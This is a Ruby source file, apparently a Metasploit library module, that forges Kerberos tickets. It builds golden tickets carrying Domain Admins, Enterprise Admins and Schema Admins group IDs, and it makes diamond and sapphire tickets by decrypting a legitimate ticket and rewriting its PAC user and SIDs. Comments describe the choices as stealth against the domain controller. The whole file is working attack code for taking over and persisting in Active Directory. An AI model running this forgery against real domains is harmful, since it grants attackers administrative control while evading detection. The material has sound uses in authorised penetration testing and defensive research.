# -*- coding: binary -*-

require 'date'
require 'rex/proto/kerberos/pac/krb5_pac'

module Msf
  class Exploit
    class Remote
      module Kerberos
        module Ticket
            GROUP_IDS = [
              Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
              Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
              Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS,
              Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
              Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
            ]

          def get_checksum_type(enc_type)
            # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers
            case enc_type
            when Rex::Proto::Kerberos::Crypto::Encryption::AES256
              Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256
            when Rex::Proto::Kerberos::Crypto::Encryption::AES128
              Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128
            when Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
              Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5
            else
              raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Unknown crypto type: #{enc_type}")
            end
          end

          # @param [String] session_key The session key
          # @param [Array<String>] extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']`
          def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
                           domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
                           domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true)
            sname_principal = create_principal(sname)
            cname_principal = create_principal(username)
            checksum_type = get_checksum_type(enc_type)

            session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16
            session_key ||= SecureRandom.hex(session_key_byte_length / 2)
            if session_key.bytes.length != session_key_byte_length
              raise "Invalid key length for session key, expected #{session_key_byte_length}, got #{session_key.length} for session key #{session_key}"
            end

            opts = {
              client: cname_principal,
              server: sname_principal,
              auth_time: start_time,
              start_time: start_time,
              end_time: end_time,
              renew_till: end_time,
              realm: domain.upcase,
              key_value: enc_key,
              checksum_enc_key: enc_key,
              session_key: session_key,
              enc_type: enc_type,
              user_id: user_id,
              group_ids: GROUP_IDS,
              checksum_type: checksum_type,
              client_name: username,
              domain_id: domain_sid,
              extra_sids: extra_sids,
              flags: flags,
              create_ticket_checksum: ticket_checksum,
              is_golden: is_golden
            }

            ticket_enc_part = create_enc_ticket_part(opts: opts)
            enc_part = encrypt_ticket_enc_part(
              ticket_enc_part: ticket_enc_part, key: opts[:key_value], enc_type: opts[:enc_type]
            )
            ticket = Rex::Proto::Kerberos::Model::Ticket.new(
              tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
              realm: opts[:realm],
              sname: opts[:server],
              enc_part: enc_part
            )
            # Wrap the ticket up with its metadata, i.e. its key/sname/time information etc
            ccache = ticket_as_krb5ccache(ticket, opts: opts)

            ccache
          end

          #
          # Take an existing ticket and change its PAC to have the provided user value
          # (Used for diamond ticket functionality)
          # @param ticket [Ticket] The ticket to modify
          # @param enc_kdc_response [EncKdcResponse] The decrypted KDC response containing contextual information
          # @param new_user [String] The username to apply to the ticket
          # @param new_user_rid [Integer] The user RID to apply to the ticket
          # @param domain [String] The domain of the user
          # @param extra_sids [List<String>] Extra SIDs to include in the ticket
          # @param ticket_decryption_key [String] The encryption key of the existing ticket (krbtgt or a session key)
          # @param ticket_encryption_type [Integer] The encryption type of the resulting ticket
          # @param ticket_encryption_key [String] The encryption key for the resulting ticket (usually krbtgt)
          # @param copy_entire_pac [Boolean] Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones
          #
          def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac)
            ticket_enc_part = ticket.enc_part
            decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
            decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part)
            auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT}
            if auth_data_val.length != 1
              raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC AD_IF_RELEVANT elements found (expected 1)")
            end

            pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.decode(auth_data_val[0][:data])
            elements = pac_auth_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC}

            if elements.length != 1
              raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)")
            end

            realm = domain
            checksum_type = get_checksum_type(ticket_encryption_type)
            existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data])
            cname_principal = create_principal(new_user)

            sname_principal = create_principal(['krbtgt',domain.upcase])
            opts = {
              client: cname_principal,
              server: sname_principal,
              auth_time: enc_kdc_response.auth_time,
              start_time: enc_kdc_response.start_time,
              end_time: enc_kdc_response.end_time,
              renew_till: enc_kdc_response.renew_till,
              realm: realm.upcase,
              key_value: ticket_encryption_key,
              checksum_enc_key: ticket_encryption_key,
              session_key: enc_kdc_response.key.value,
              enc_type: enc_kdc_response.key.type,
              user_id: new_user_rid,
              group_ids: GROUP_IDS,
              checksum_type: checksum_type,
              client_name: new_user,
              extra_sids: extra_sids,
              flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags),
              create_ticket_checksum: false,
              is_golden: true,
            }
            ####

            domain_sid = nil
            existing_pac.pac_info_buffers.each do |buff|
              element = buff.buffer.pac_element
              case element.ul_type
              when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION
                opts[:group_id] = element.data.primary_group_id.value
                opts[:domain_id] = element.data.logon_domain_id
                opts[:logon_domain_name] = element.data.logon_domain_name
                opts[:logon_count] = element.data.logon_count
                opts[:password_last_set] = element.data.password_last_set
                opts[:user_id] = element.data.user_id unless opts[:user_id]
                if copy_entire_pac
                  opts[:base_verification_info] = element.data
                  element.data.extra_sids.each do |sid|
                    opts[:extra_sids].append(sid.sid.to_s)
                  end
                end
              when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
                if copy_entire_pac
                  opts[:upn_dns_info_pac_element] = element
                end
              when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
                # We want to be stealthy and match whatever the KDC is doing, so we should do it too
                opts[:create_ticket_checksum] = true
              end
            end

            ticket_enc_part = create_enc_ticket_part(opts: opts)
            enc_part = encrypt_ticket_enc_part(
              ticket_enc_part: ticket_enc_part, key: ticket_encryption_key, enc_type: ticket_encryption_type
            )
            ticket = Rex::Proto::Kerberos::Model::Ticket.new(
              tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
              realm: opts[:realm],
              sname: opts[:server],
              enc_part: enc_part
            )

            ccache = ticket_as_krb5ccache(ticket, opts: opts)

            ccache
          end

          def create_new_sid(existing_sid, new_rid)
            existing_sid = existing_sid.to_s
            domain_sid = existing_sid[0..existing_sid.rindex('-')]

            "#{domain_sid}#{new_rid}"
          end

          def create_enc_ticket_part(opts:)
            ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new

            ticket_enc_part.key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
              type: opts[:enc_type], value: opts[:session_key]
            )
            ticket_enc_part.flags = opts[:flags]
            ticket_enc_part.crealm = opts[:realm]
            ticket_enc_part.cname = opts[:client]
            ticket_enc_part.transited = Rex::Proto::Kerberos::Model::TransitedEncoding.new(tr_type: 0, contents: '')
            ticket_enc_part.authtime = opts[:auth_time]
            ticket_enc_part.starttime = opts[:start_time]
            ticket_enc_part.endtime = opts[:end_time]
            ticket_enc_part.renew_till = opts[:renew_till]
            if opts[:create_ticket_checksum]
              opts[:ticket_checksum] = create_ticket_checksum(opts[:checksum_type],
                                                              opts[:checksum_enc_key],
                                                              ticket_enc_part)
            end
            ticket_enc_part.authorization_data = build_pac_authorization_data(opts)
            ticket_enc_part
          end

          def encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:)
            enc_class = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(enc_type)

            encrypted = enc_class.encrypt(
              ticket_enc_part.encode, key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
            )

            Rex::Proto::Kerberos::Model::EncryptedData.new(
              etype: enc_type, kvno: 2, cipher: encrypted
            )
          end

          def tgs_flags
            [
              Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::RENEWABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::PRE_AUTHENT
            ]
          end

          def tgt_flags
            tgs_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL
          end

          # @param [Rex::Proto::Kerberos::Model::Ticket] ticket
          # @param [Hash] opts
          # @return [Rex::Proto::Kerberos::CredentialCache::Krb5Ccache]
          def ticket_as_krb5ccache(ticket, opts:)
            Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.new(
              default_principal: create_ccache_principal(opts[:client], opts[:realm]),
              credentials: [
                {
                  client: create_ccache_principal(opts[:client], opts[:realm]),
                  server: create_ccache_principal(opts[:server], opts[:realm]),
                  keyblock: {
                    enctype: opts[:enc_type],
                    data: opts[:session_key]
                  },
                  authtime: opts[:auth_time],
                  starttime: opts[:start_time],
                  endtime: opts[:end_time],
                  renew_till: opts[:renew_till],
                  ticket_flags: opts[:flags].to_i,
                  ticket: ticket.encode
                }
              ]
            )
          end

          def create_principal(name)
            Rex::Proto::Kerberos::Model::PrincipalName.new(
              name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL,
              name_string: Array.wrap(name)
            )
          end

          def create_ccache_principal(principle, realm)
            Rex::Proto::Kerberos::CredentialCache::Krb5CcachePrincipal.new(name_type: principle.name_type,
                                                                           components: principle.name_string,
                                                                           realm: realm)
          end

          def ccache?(header)
            header[0..1] == "\x05\x04"
          end

          def kirbi?(header)
            header[0] == "\x76"
          end

          def print_contents(path, key: nil)
            header = File.binread(path, 2)
            if ccache?(header)
              print_status "Credentials cache: File:#{path}"
              ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(path))
              print_ccache_contents(ccache, key: key)
            elsif kirbi?(header)
              print_status "Kirbi File:#{path}"
              krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(File.binread(path))
              ccache = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
              print_ccache_contents(ccache, key: key)
            else
              fail_with(Msf::Module::Failure::BadConfig, 'Unknown file format')
            end
          end

          def print_ccache_contents(ccache, key: nil)
            presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ccache)
            print_status presenter.present(key: key)
          end

          private

          def create_ticket_checksum(checksum_type, checksum_enc_key, ticket_enc_part)
            ticket_enc_part = ticket_enc_part.dup
            ticket_enc_part.authorization_data = build_empty_auth_data
            ticket_checksum = Rex::Proto::Kerberos::Pac::Krb5TicketChecksum.new(signature_type: checksum_type)
            ticket_checksum.signature = calculate_checksum(
              ticket_checksum.signature_type,
              checksum_enc_key,
              ticket_enc_part.encode
            )
            ticket_checksum
          end

          def calculate_checksum(signature_type, key, data)
            checksummer = Rex::Proto::Kerberos::Crypto::Checksum.from_checksum_type(signature_type)
            checksummer.checksum(key, Rex::Proto::Kerberos::Crypto::KeyUsage::KERB_NON_KERB_CKSUM_SALT, data)
          end
        end
      end
    end
  end
end
